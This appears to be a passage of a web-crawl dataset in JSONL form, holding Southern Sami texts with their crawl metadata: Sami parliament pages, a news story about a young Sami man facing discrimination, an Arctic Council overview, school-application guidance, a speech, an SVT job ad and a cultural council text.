e-påasteadressem jïh tellefovnenommerem.\nGærjaveaskoem jïh\/jallh gærjah daesnie dongkh: firstname.lastname@example.org","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/lohkh-munnjien-giele-voestesiereste\/garjavadtesh-smaave-maanide\/","date":"2021-12-08T12:48:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363510.40\/warc\/CC-MAIN-20211208114112-20211208144112-00131.warc.gz","language":"sma","language_score":1.0000020266,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000020265579224}","num_words":263,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Manne maam akt fïerhten biejjien govlem, aaj 2021, Jone jeahta, mij Laakesvuemeste Trööndelagesne båata.\nDan 17 jaepien båeries baernien mietie sov nomme «samen» orreme abpe byjjenimmiem. Easkah tjïjhtjede klaassesne, gosse akte jeatjah saemie sov skuvlesne eelki, naakenh eelkin satnem Jone gåhtjodh.\nGolme ållesth njieljie noere saemijste sïerredimmiem sijjen etnisiteeten, tjoelen jïh årromesijjien gaavhtan dååjroeh, dotkemeprosjekten Mihá mietie.\nProsjekte dorjesovveme juktie dååjrehtimmieh jïh dååjresh goerehtalledh noere saemine årrodh.\nGåeteste juhti\nDæjman Jone 1,5 tæjmoeh gåeteste juhti gosse edtji eatnemeåtnoelinjesne aelkedh Kråangken jåarhkeskuvlesne.\nGosse Jone lea skuvlem illeme sæjhta fuelhkien båatsojne jåerhkedh, jïh fuelhkie lea sutnjien kruana tjoevkesem vadteme.\n– Sïejhmemes dellie dïhte båarasommes maana båatsojne jåarhka, jïh manne hov dïhte nööremes. Dah vuejnieh mov lea stoerre ïedtje båatsoste, jïh leah jeahteme manne åadtjoem fuelhkien båatsojne jåerhkedh, dïhte 17 jaepien båeries baernie jeahta.\nJone sæjhta darjodh dam maam altese maadtoeladtjh leah dorjeme bijjelen 100 jaepieh, men akten båatsoen gaavhtan mij aajhtoeh klijmajarkelimmijste, faamoebigkemistie jïh geajnojste dååjroe – Jone lea daarpesjamme B-soejkesjem utnedh, jåarhkeskuvlem aelkedh.\nStoerre nïekedasse båatsoen bïjre tjuara vuertedh goske lea skuvlem illeme.\nJone lea akte dejstie mij meatan NRK-raajrosne «Bearkedem? Borteboerne», mij golme noerh dåerede Trööndelageste mearan hïejmevoeneste juhtieh juktie jåarhkeskuvlem vaedtsedh «stoerrestaarine» Alta, Senja jïh Kråangke.\nÅvtelhaarvoeh utnieh\nGosse Jone edtji gåeteste juhtedh dellie bïlli altese saemien maadtoe edtji satnem båvvan sïjse bïejedh jïh satnem heerredidh voelph åadtjodh.\nMen dïhte aaj jïjtse åvtelhaarvoeh daaroej vööste utni – dej gaskem daaroeh ajve lyjhkoeh soptsestidh staaresne mïnnedh.\n– Manne gujht jeatjahlaakan ussjedem goh doh jeenjemes daaroeh. Manne gujht båatsojne byjjenamme jïh saemestem, Jone jeahta.\nSïejhmetji Jone tuhtjie geerve almetjigujmie åahpenidh mah eah ïedtjem utnieh altese jieledevuekeste.\nTjïertevidtjie saemiej vööste\nJåarhkeskuvlesne lahtestimmieh altese etnisiteeten jïh guelmien bïjre leah Jonem baajnehtamme. Dïhte damta satne tjuara jïjtjemse almetjinie jarkelidh, jearohke gusnie lea.\n– Gosse leam gåetesne maahtam saemiestidh jïh jïjtjemem årrodh, men gosse skuvlesne tjoerem orre almetjinie sjïdtedh, jïh jis im dam darjoeh, dellie ajve «han samen» sjïdtem. Tjoerem jïjtjemem mubpide sjïehtedidh sijjeste nöörjen seabradahke jïjtjemse munnjien, jallh saemide, sjïehtede.\n– Man åvteste vïenhth numhtie?\n– Ijje, dïhte sån tjïertevidtjie.\n– Jis edtjem aelkedh jïjtjemem årrodh jïh soptsestidh jïh eadtjaldovvedh. Dellie maahtam oktegh sjïdtedh, jïh ij guhte sïjhth mannine årrodh, tjïelkestahta.\n– Slæjhtoes göökte eevre joekehts almetjinie årrodh iktegisth, men leam vaane sjïdteme dejnie, Jone jeahta.\nProsjekten åvtehken mietie dotkemeprosjekteste Mihá, jïh professovre Romsan universiteetesne Ketil Lenert Hansen, lea naa sïejhme almetjh saemiej bïjre nåakelaakan soptestieh.\nDaate sjugniehtåvva dovne sosijaale medijinie jïh ååredæjja ååredæjjese.\n– Gaajhke mij lea dan saemien bïjre lea histovrijen mietie tjarke unnebevyörtegs mïerhkem åådtjeme, Hansen jeahta.\nKråangken Jåarhkeskuvlen rektovre, Anne Birgitte Sklet jeahta satne ij maehtieh aktegslearohkh jïh guktie dejgujmie skuvleaarkebiejjien sïerres almetjidie lahtestidh, sov sjaevehtsvoetedïedten gaavhtan.\n– Kråanghken jåarhkeskuvle gaajhkh bïeljelimmieh mah leah vïedteldihkie Ööhpehtimmielaakese § 9A, itjmieslaakan vaalta. Edtja nulletoleraanse årrodh irhkemen jallh trïegkenassen vööste. Trööndelagen fylhkentjïelte lea sisnjelds njoelkedassh jïh maallh dorjeme guktie fylhken jåarhkeskuvlh edtjieh dagkerh aamhtesh gïetedidh, jïh skuvle dejtie fulkie.\nAerpie daaroedehtemeprosessen mænngan\nProsjekten åvtehke dotkemeprosjektese Mihá maahta vihtiestidh dam maam Jone kråahpesne damta.\n– Jeenjesh demtieh dïhte mij lea saemien ij seamma hijvenlaakan gorresovvh goh dïhte nöörjen, Ketil Lenert Hansen soptseste.\nDïhte aaj soptseste vigkieh geerve almetji gaskem aaj noeride baajnehtieh. Dej gaskem 100 jaepien båeries vigkieh båatsoesaemiej jïh båantaj jielemi gaskem.\n– Gellie digkiedimmieh sosijaale medijinie sjædta, jïh såemies saemien noerh eah sïjhth skuvlese vaedtsedh dan åvteste dan jïjnjh digkiedimmieh bovtsi bïjre sjædta. Båatsoesaemine årrodh maahta lyövlehke damtedh, Hansen jeahta.\nHansen lissehte nöörjen seabradahkesne gellie åvtelhaarvoeh jïh vaenie daajroe man bïjre dïhte saemien lea.\nDotkemeprosjekte lea bijjelen göökte jaepieh vaaseme, jïh daatah healsoen jïh jieledetsiehkiej bïjre 250 saemien noerijste tjöönghkeme.\n– Joekoen jeenjesh mah dovne åvtelhaarvoeh jïh sïerredimmiem nöörjen seabradahkesne dååjroeh. Daate lea aerpie daaroedehtemeprosessen mænngan saemijste jïh kveenijste, jeahta.\n– Manne ajve jïjtjemem\nJalhts Jone lea dååjreme maam lea dååjreme, dellie altese sosijaale jielede ahkedh buerebe sjædta.\n– Munnjien joekoen aelhkie: Manne ajve jïjtjemem jïh dellie dah mah sijhtieh mannine årrodh åadtjoeh dam årrodh, jïh dah mah eah sïjhth åadtjoeh ajve baajedh årrodh, dïhte 17 jaepien båeries baernie jeahta.\nOlaug Pettersen, rektovre Jonen aarebi maana- jïh noereskuvlesne, Namsskogan skole, P3.no:se dam vaestede:\n– Im daejrieh guktie lij daesnie skïereden 1.b. 2019 åvtelen. Learohke 10. klaassem orriji gïjren 2020. Guktie datne daam tsiehkiem buerkesth dellie sån geerve jïh ovmurreds orreme. Gaajhkh learohkh krïevenassem jearsoe jïh hijven skuvlebyjresasse utnieh, jïh irhkeme ij edtjh gååvnesidh. Skuvlen leah soejkesjh guktie edtja dagkerh tsiehkieh gïetedidh, jïh im vielie lahtestimmieh dïsse utnieh.\nJarkoestæjja: Ellen B. Jonassen\nLOHKH VIELIE:","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/p3.no\/jone-17-damta-satne-tjuara-sov-saemien-bieliem-tjiekedh-manne-vaane-sjidteme-dejnie\/","date":"2022-01-20T17:44:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320302355.97\/warc\/CC-MAIN-20220120160411-20220120190411-00196.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":702,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien gïele tjaebpies jïh eatnemengïele, lea buerkiestamme goh \"joekoen eejhteme\" UNESCO:ste. Dannasinie vihkeles UKA:se åarjelsaemien gïelem byögkelesvoetesne lutnjedh, juktie Tråante (Trondheim) lea åarjelsaemien dajvesne.\nSST:en åaejvine, Lise Eder Murberg, jïh jarkoestæjjajgujmie Jenny-Krihke Dragsten Bendiksen jïh Maajja-Krihke Bransfjell, UKA lea barkeme åarjelsaemien gïelem gåhtasjehtedh, dovne nehtesæjrosne UKA.no jïh UKEmagasijnesne. UKA våhkosne maahtah jïhtegh goh \"Lyjhkem gosse datne mojjehth\" jïh \"Datne joekoen tjaebpies <3\" nehtesæjrosne UKA.no gaavnedh, daaroen gïelen lïhke. Aaj maahtah banden ISÁK öörnemeteekste åarjelsaemingïelesne gaavnedh.\nLise Eder Murberg, SST:en åejvie.\nMaam dijjieh SST:sne jïh SÅD:sne ektiebarkoen bïjre UKA:ine tuhtjede?\nLise: UKA, laanten stööremes studeenthfestivaale sæjhta åarjelsaemien gïelem provhkedh, aavoem jïh jååhkesjimmiem saemien studeentide sjugnede, dovne saemide Tråantesne jïh åarjelsaemide abpe Saepmesne.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.uka.no\/sma\/nyheter\/126-uka-aarjelsaemiengielesne\/","date":"2022-06-27T09:00:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103329963.19\/warc\/CC-MAIN-20220627073417-20220627103417-00512.warc.gz","language":"sma","language_score":0.9999853373,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999853372573853}","num_words":110,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie lea bieline Arktiske Raerien nöörjen delegasjovneste, jïh lea meatan SAO-tjåanghkojne jïh ministeretjåanghkojne. Akte praksise tseegkesovveme gusnie saemiedigkiepresideente aktem bieliem nöörjen håaloemistie hööltie ministeretjåanghkojne Arktiske Raeresne. Arktiske Raerien tjaelemesijjie lea Framsenterisnie Romsesne.\nJååhkesjimmie aalkoeåålmegi sjïere daajrojste jïh man vihkeles lea daejtie jåerhkedh juktie arktiske seabradahkide guarkedh, lea jarngesne ministeredeklarasjovnesne tseegkemen bïjre Arktiske Raereste. Ellies involveereme jïh tjirkijh aalkoeåålmegi åvteste leah eadtjohke meatan, lea aaj vihkele dan arktiske laavenjostoen gaavhtan.\nArktiske raerie tseegkesovvi 1996 jïh lea dïhte aajnehke regijonaale laavenjostoeorgaane mij gaajhkh gaektsie arktiske laanth feerhmie; vïjhte noerhtelaanth jïh USA, Canada jïh Russlaante. Akte sjïere væhta Arktiske Raeresne lea aalkoeåålmegeorganisasjovnh arktisesne maehtieh statusem ihkuve lïhtseginie åadtjodh. Doh ihkuve lïhtsegh nuepiem utnieh meatan årrodh gaajhkine tjåanghkojne jïh darjoeminie mejtie Arktiske raerie tjïrrehte. Govhte aalkoeåålmegeorganisasjovnh dagkeres statusem utnieh daelie. Daah leah:\n- Arctic Athabaskan Council (AAC)\n- Aleut International Association (AIA)\n- Gwich'in Council International (GGI)\n- Inuit Circumpolar Council (ICC)\n- Russian Association of Indigenous Peoples of the North (RAIPON)\n- Saemieraerie\/Saami Council (SC)\nArktiske Raerien leah vïjhte vihties programmh mah reeresuvvieh aktede barkoedåehkeste fïereguhten programmese. Daah leah:\n- Arktiske byjresevaaksjomeprogramme (AMAP)\n- Arktiske faunan jïh floran vaarjelimmieprogramme (CAFF)\n- Riejriesvoeteprogramme ovlahkojde (EPPR)\n- Marijne byjresen vaarjelimmieprogramme (PAME)\n- Programme monnehke evtiedæmman (SDP)\nLohkh vielie Arktiske Raerien bïjre","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/noerhtedajvh\/arktiske-raerie\/","date":"2022-08-17T21:57:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573118.26\/warc\/CC-MAIN-20220817213446-20220818003446-00429.warc.gz","language":"sma","language_score":0.9994515777,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9994515776634216}","num_words":194,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Noerhtelaanti embetsmaennieorgaane saemien gyhtjelasside (NÄS)Åejvieladtjh Sveerjesne, Soemesne jïh Nöörjesne leah saemien gyhtjelassi bïjre laavenjosteme mænngan Noerhtelaanti laavenjostoeorgaane saemie- jïh båatsoegyhtjelasside tseegkesovvi Gånkan resolusjovnesne 1964. Daate laavenjostoeorgaane lea govlehtimmieorgaanine embeetedaltesisnie orreme dej golme laanti reerenassi gaskem bïevnesi jïh digkiedimmien åvteste. Noerhtelaanti embeetemaennieorgaane saemien gyhtjelasside, mij aaj tjirkijh åtna saemiedigkijste, laavenjostoemoenehtsen sijjeste bööti jaepien 2001. Saemiedigkiepresideenth jïh ministerh mej dïedte saemien aamhtesi åvteste Soemesne, Sveerjesne jïh Nöörjesne leah staeries laavenjostoem åtneme mænngan 2000. Ministerh jïh saemiedigkiepresideenth jaabnan gaavnesjieh juktie sinsitniem bievnedh jïh saemien gyhtjelassh ektie ïedtjeste digkiedidh jïh gïetedidh. Ulmie laavenjostojne lea saemien åålmegen gïelem, kultuvrem, jielemh jïh seabradahkejieledem nænnoestidh jïh evtiedidh. Laavenjostoe ovbyjjes men lïhke ektiedimmiem åtna Noerhtelaanti Ministereraaran. Ryöjredimmie jïh guhkiebasse barkoe aamhtesinie gorresuvvieh Noerhtelaanti embeetemaennieorgaaneste saemien gyhtjelasside. Doh golme laanth dïedtem utnieh fïereguhten aejkien tjåanghkojde gohtjedidh jïh tjåanghkojde stuvredh. Tjïelte- jïh orrestimmiedepartemeente lea departemeente Nöörjesne mij dïedtem dan åvteste åtna. Gålkoen 2001 ministerh jïh saemiedigkiepresideenth sjæjsjalin tjiehpijedåehkiem tseegkedh mij edtja raeriestimmine noerhtelaanti saemiekonvensjovnese barkedh man våarome lij reektehtse \"Behov og grunnlag for en nordisk samekonvensjon\". Dåehkie sov raeriestimmiem Noerhtelaanti saemiekonvensjovnese deelli gålkoen 2005. Lohkh vielie: Noerhtelaanti saemiekonvensjovne Tjåanghkoegærjah noerhtelaanti ministere- jïh presideentetjåanghkojste","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sametinget.no\/gaskenasjonaale-barkoe\/saemien-laavenjostoe\/noerhtelaanti-embetsmaennieorgaane-saemien-gyhtjelasside-nas\/","date":"2022-08-17T22:48:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573118.26\/warc\/CC-MAIN-20220817213446-20220818003446-00098.warc.gz","language":"sma","language_score":0.999985218,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999852180480957}","num_words":178,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov nïejte jallh baernie akten vihkeles geajnoeveeljemen uvte tjåådtje – jåarhkelïerehtimmiem veeljedh. Datne maahtah dov nïekedassh utnedh maam maanah edtjieh sjïdtedh – men doh noerh tjuerieh åadtjodh nuepide goerehtidh mah gååvnesieh, jïh jïjtjeraarehke veeljemem darjodh jïjtsh ïedtji jïh sjaavnjoej mietie båetijen aajkan! Goh eejhtege dov lea vihkeles funksjovne goh soptsestallemeguejmie jïh bïhkedæjja. Juktie dov noerem bööremeslaakan viehkiehtidh, byörh bïevnesidie jåarhkelïerehtimmien bïjre veelelaakan lohkedh.\nVelg fylket ditt!\nDisse fylkene har tilleggsinformasjon til dette punktet:","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/eejhtegidie-aeliealmetjidie\/a\/032643","date":"2022-08-16T08:07:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572221.38\/warc\/CC-MAIN-20220816060335-20220816090335-00293.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":71,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"vigo.no\n- Loggh sïjse vigo.no MinId:ine. Datne prieviem PIN-kodajgujmie påastesne åadtjoeh jaepiemålsomen.\n- Registreerh dov ohtsemem.\n- Mujhtieh kvitteringem ohtsemistie olkese tjaeledh.\n- Ohtsememierien raajan (goevten 1.b. jallh njoktjen 1.b.) maahtah ohtsemem jarkelidh dan gellie aejkieh datne sïjhth.\n- Maahtah mobijlenommerem jïh adressh jarkelidh daesnie vigo.no snjaltjen 1.b. åvtelen (dejnie jeenjemes fylhkine). Dan daatoen mænngan tsaekemekontovre tjuara bïevnesem åadtjodh.\nMij MinID?\nMinId lea akte ållesth njieljie elektrovneles ID-ijstie mej gaskem maahtah veeljedh gosse edtjh sïjse loggedh byögkeles dïenesjidie Gaskeviermesne (dej gaskem vigo.no).\nVelg fylket ditt!\nDisse fylkene har tilleggsinformasjon til dette punktet:","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/guktie-ohtsh\/a\/033017","date":"2022-08-16T06:58:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572221.38\/warc\/CC-MAIN-20220816060335-20220816090335-00469.warc.gz","language":"sma","language_score":0.9998824596,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998824596405029}","num_words":87,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.034,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie biejjie!\nDaej biejjiej mijjieh daesnie tjåanghkenamme juktie gaavnesjidh, digkiedidh jïh sinsitneste lïeredh. Mejtie aaj orre åssjalommesh bæjjese båetieh jïh mejtie buektiehtibie åvtese vuejnedh.\nSaemien tjeahpoe jïh kultuvre jïjnje tjååtskelesvoetem åådtjeme minngemes tïjjem. Manne garmeres jïh aavosne dïsse. Manne jïjtje vuejneme man stoerre daerpiesvoete mijjien jïjtjemh kultuvrem dååjrehtidh, jïh saemiej ektievoetem jïh nænnoesvoetem damtedh. Stoerre tjeahpoearenaasne goh Venezia biennale, nasjovnalearenaasne, aalkoealmetji dorjemh ålkoelaantesne, men aaj Saepmesne. Daesnie mijjen jïjtjemh tjåanghkoesijjine jïh festivaaline. Wow, man væjkeles mijjen tjiehpiedæjjah!\nSaemieh jielieh rïjhkeraasti namhtah. Mijjen gïelh, kultuvre, vætnoe, dajvh jïh fuelhkieh eah raastide vuejnieh jallh demtieh. Læjhkan mijjieh goh åålmege rïjhkeraastide damta fïerhten biejjien. Minngemes jaepieh koronasuetien gaavhtan, daelie vesties dåaroen gaavhtan. Mijjen vïelli jïh åabpaj bïjre russien bealesne ussjedibie jïh vaajtelibie varke orreje.\nDaejrebe haestemh kultuvresuerkesne guktie evtiedimmiem gorredidh rïjhkeraasti rastah. Jåerhkebe barkedh saemien-noerhten laavenjosteminie ihke rïjhkerastide våålese bigkedh jïh saemien tjeahpoe- jïh kultuvresuerkiem ektesne nænnoestidh. Daerpies barkoem dåarjodh dovne ekonomeles jïh politihkeles.\nGaajhkesh mah kultuvrine berkieh dam darjoeh stoerre ïedtjine jïh buektiehtieh jïjnjem darjodh. Men, dej daerpiesvoete evtiedidh. Dan åvteste seammasïenten vihkeles institusjovnide jïh organisasjovnide nænnoestidh.\nAkte mubpie bielie dennie barkoste lea juste kultuvreaktööride tjöönghkedh jïh sijjiem öörnedh gusnie maehtebe dagkerh aamhtesidie vååjnesasse bïejedh jïh digkiedidh guktie åvtese juhtedh.\nManne aavosne Saemiedigkie daam tjåanghkoesijjiem dåårjeme jïh Saemieraeriem aaj mij daam konferaansem öörneme.\nManne aavodem daesnie årrodh, dååjrehtimmieh juekedh, soptsestidh, gaavnesjidh jïh vielie kultuvresuerkeste lïeredh. Daate vihkeles munnjan gie kultuvredïedtem åtna saemiedigkieraeresne nöörjen bealesne Saepmesne.\nHåhkesjem tryjjes jïh gieltegs biejjieh sjidtieh!\nGæjhtoe.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/saernieh\/haalome-kultursapmi-jiellevaresne.21547.aspx","date":"2022-09-30T20:05:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335504.22\/warc\/CC-MAIN-20220930181143-20220930211143-00155.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":240,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reportere SVT Saepmie, sæjjasadtje-barkoe\nSïjhth barkoem utnedh gusnie saemieh jïh Saepmie jarngesne, gusnie nöörh fïerhten biejjien dovne saemiestidh jïh saemiengïelesne tjaeledh. Dellie maa daate barkoe maaje dutnjien!\nSVT Saepmesne 15 barkijh. Mijjen stoerre dajve vaaksjodh Sveerjesne jïh vaaksjobe aaj aalkoealmetji-aamhtesh abpe veartanisnie. Mijjen biejjieladtje barkoe lea saernieh darjodh dovne onlinesne jïh tv-saadtegidie. Mijjieh NRK- jïh YLE Saepmien ektine barkebe jïh aaj lïhke ektiebarkoem Sveerjen Raadijovinie, Saemieraadijove.\nDaelie reporterem ohtsebe mij maahta guvviedidh jïh redigeradidh, jïh maahta guvviegujmie bïhkedidh dovne åenehks jïh guhkebe formatesne. Datne lea eadtjohke jïh ïedtjh åtnah dam saemien redaksjovnen faaleldahkh evtiedidh gusnie saemien vuartasjæjjah jarngesne. Daate sæjjasadtje barkoe lea, juktie daan barkoen barkije edtja maanadovvedh.\nBarkoen bïjre\nDatne edtja uvtemes reporterinie barkedh, saemien saernie-programmesne, Ođđasat jïh mijjen gaskeviermie sæjrosne, mohte aaj sosijaale meedijinie barkedh. Datne edtjh maehtedh reportaasjh åssjaldahkeste jïh riejries reportaasjem buektedh, menh edtjh maehtedh reporterinie, guvviedæjjine barkedh jallh redigerinie dellie goh dïhte daerpies. Tjoerh maehtedh guvviedidh dovne stille-guvvieh jïh filmedh, jïh aaj redigeradidh. Datne edtjh maehtedh dovne stuerebe kamerinie jïh mobijline guvviedidh.\nBarkosne daerpies aaj online- vierhtiejgujmie barkedh jïh daam maahtoem vierhtiedibie. Jeatjah laavenjassh maahta aaj barkose bïejesovvedh. Maahta naemhtie sjïdtedh tjoerh saemien programmigujmie aaj barkedh jallh mejnie jeatjah mijjen platformesne. Vierhtiedibie maahtah guhkebe barkoeh aaj guvviedidh jïh redigeradidh. Daennie barkosne tjoerh aaj fealadidh, dovne guhkebe jïh åenebe fealadimmieh, dan åvteste mijjen stoerre dajve vaaksjodh.\nDov våarome\nDïhte guhte barkoem åådtje tjuara saemiengïelem maehtedh, dovne njaalmeldh jïh tjaaleldh. Daajroem saemien seabradahken bïjre, dan histovrijem jïh kultuvrem aaj. Lissine utnebe nuhteligs seabrahkedaajrojne jïh leah eadtjohkes. Hijven hov jis datne aerebe journalistihkine barkeme vg. tjaaleme, guvviedamme jïh redigeradamme. Datne edtjh eadtjohkeslaakan barkedh dovne saerniegujmie jïh gïengielåbpoe journalistihkine. Datne ïedtjeles, fleksijbeles, jïh maahtah nuepide vuejnedh dej joekehth tsiehkine.\nSVT Saepmie pryövoe dejtie programmide båetije beajjan evtiedidh, jïh daesnie datne vihkeles sjïdth. Barkosne barkoegoere, guktie maahta barkoe iehkedi jïh hïeljide aaj sjïdtedh.\nDaerpies hov vuejeme-kåarhtem utnedh.\nDaate lea sæjjasadtjebarkoe.\nJïjtjehke redaksjovne lea Gironisnie, menh reporteerh utnebe dovne Luleåsne jïh Stuehkesne. Mijjieh utnebe hijven jis reporteerh gaajhken lehkesne utnebe, dan gaavhtan maehtieh gaajhkesh dovnesh dam barkoem ohtsedh. Latjkebe barkoesijjien bïjre.\nJis sïjhth vielie dan barkoen bïjre govledh, bïeljelh dle redaksjovneåejviem Linda Hermansson SVT Saepmesne, 070 2545400. Gyhtjelassh fackese, bïeljelh dle Anna- Karin Niiam SJF:ste jïh Maria Fornemo, 08-784 00 00 (vxl) Unijovneste.\nBuerie båeteme ohtseminie åvtelen gålkoen 15-n biejjien. Aalkoe tsïengelen\/ orre jaepien asken 1 biejjien.\n- SVT:s sportchef Åsa Edlund Jönsson slutar på SVT för att gå in i en roll som generalsekreterare för Sveriges Olympiska Kommitté med ansvar för den oly... Nyhet\n- Christoffer Wendick blir SVT:s nya Europakorrespondent med fokus på europeisk säkerhetspolitik. Detta är ett led i SVT:s satsning på utökad bevakning ... Nyhet\n- Med anledning av rättegången mot Thedor Engström skriver SVT:s styrelse och företagsledning att Hanna Stjärne borde varit målsägande. Nyhet\n- På spåret är ett av SVT:s största underhållningsprogram och en svensk originalidé från SVT i Göteborg. Nu ska YLE göra en finsk version av programmet. Nyhet\n- Tillsammans med Begripsam genomför SVT en undersökning för att ta reda på vad publiken tycker om textning, syntolkning, teckenspråk och andra funktion... Nyhet\n- SVT är mitt inne i en storsatsning på lokal journalistik och ökar antalet redaktioner i snabb takt. Den 9 november invigdes den nya redaktionen i Åmål... Nyhet","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/omoss.svt.se\/arkiv\/nyhetsarkiv\/2019-11-06-reportere-svt-saepmie-saejjasadtje-barkoe.html","date":"2022-12-02T20:51:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710916.40\/warc\/CC-MAIN-20221202183117-20221202213117-00282.warc.gz","language":"sma","language_score":0.9999662638,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999662637710571}","num_words":522,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Úlmieh jiehtieh: \"Kúltúvre edtjá ákte dyŋámihkeles mávvás jïh frijje fáámoe årrodh máŋ våárome leá soptsestimmiereáktá. Gáájhkh edtjieh ŋúepiem útŋedh kúltúvrejielemem dååjrehtidh. Kreátiviteete, gellievoete jïh tjeáhpoeŋ kváliteete edtjieh siebriedáhkeŋ evtiedimmesŋe vååjŋedh\".\nMijjeŋ dåárjoej jïh jeátjáh dárjomi tjïrrh mijjieh sïjhtebe bárkedh ihke dejtie kúltúvrepolitihkeles úlmide búektiehtidh.\nFïerhteŋ jáepieŋ medtie göökte miljáárdh kråvŋoeh júekebe mij mesŋie dágkáridie:\n- Litterátúvre, gærjágåetie jïh ihke lohkemem evtiedidh\n- Gúvvie- jïh hámmoetjeáhpoe jïh múseeúme\n- Músihke, teátere, dááŋhtsoe jïh dááletje cirkúse\n- Skúvle skáepiedæmmáŋ jïh kúltúvreskúvlese\n- Ŋásjoŋelle úŋŋebelåhkoej kúltúvre\nKúltúvreiktedimmiemáálleŋ tjirrh medtie ákte miljáárdh kråvŋoeh júekebe dejtie regijovŋide Sveerjesŋe.\nMijjeŋ dåárjoe vedtebe dejtie dárjoemidie máh profesjoŋelle bárkemiŋie tjeáhpojŋe jïh kúltúvriŋe Sveerjesŋe jïh gáskeŋásjoŋelle. Vúesiehtimmieŋ kúltúvresiebrieh, orgáŋisásjovŋh, dåehkieh, bertemesïelth jïh tjïelth.\nPositijve fáámoe mij edtjá gáájhkide jáksedh\nKúltúvre dovŋe áájŋeálmetjem jïh siebriedáhkh tsávtsá, jeátjáhtáhtá jïh evtede. Dïhte ákte positijve fáámoe mij edtjá gáájhkide gååvŋesidh. Mijjieh sïjhtebe jieŋebh edtjieh ŋúepiem útŋedh kúltúvrem dååjrehtidh jïh ááj orre dåehkieh jáksedh máh eáh biehkiem kúltúvreste váeltieh dááŋ biejjieŋ. Mijjieh sïjhtebe ŋúepieh skáepiedidh ihke gáájhkh álmetjh edtjieh seámmá reáktám útŋedh jïh ŋúepiem kúltúvrefááleŋássem tsevtsedh jïh biehkie kúltúvrejieliemistie årrodh.\nReereŋásse leá sjïere stillemem bïejeme Kúltúrrådet:se ihke evtiedimmiem eevtjedh mij seámmá reáktáj jïh ŋúepiej bïjre hbtqi-álmetjidie, mij sæjhtá jiehtedh homoseksúelle, biseksúelle, tráŋseálmetjh jïh álmetji qúeere vúájŋoeh jïh ideŋtiteeth.\nKúltúrrådet åájváládte sektovredïedtiŋe 